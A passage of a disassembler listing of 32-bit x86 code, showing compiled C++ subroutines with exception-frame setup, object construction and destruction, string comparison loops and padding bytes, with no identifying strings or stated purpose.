ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F70 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F70 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C94 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C94 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F70 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C9E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx 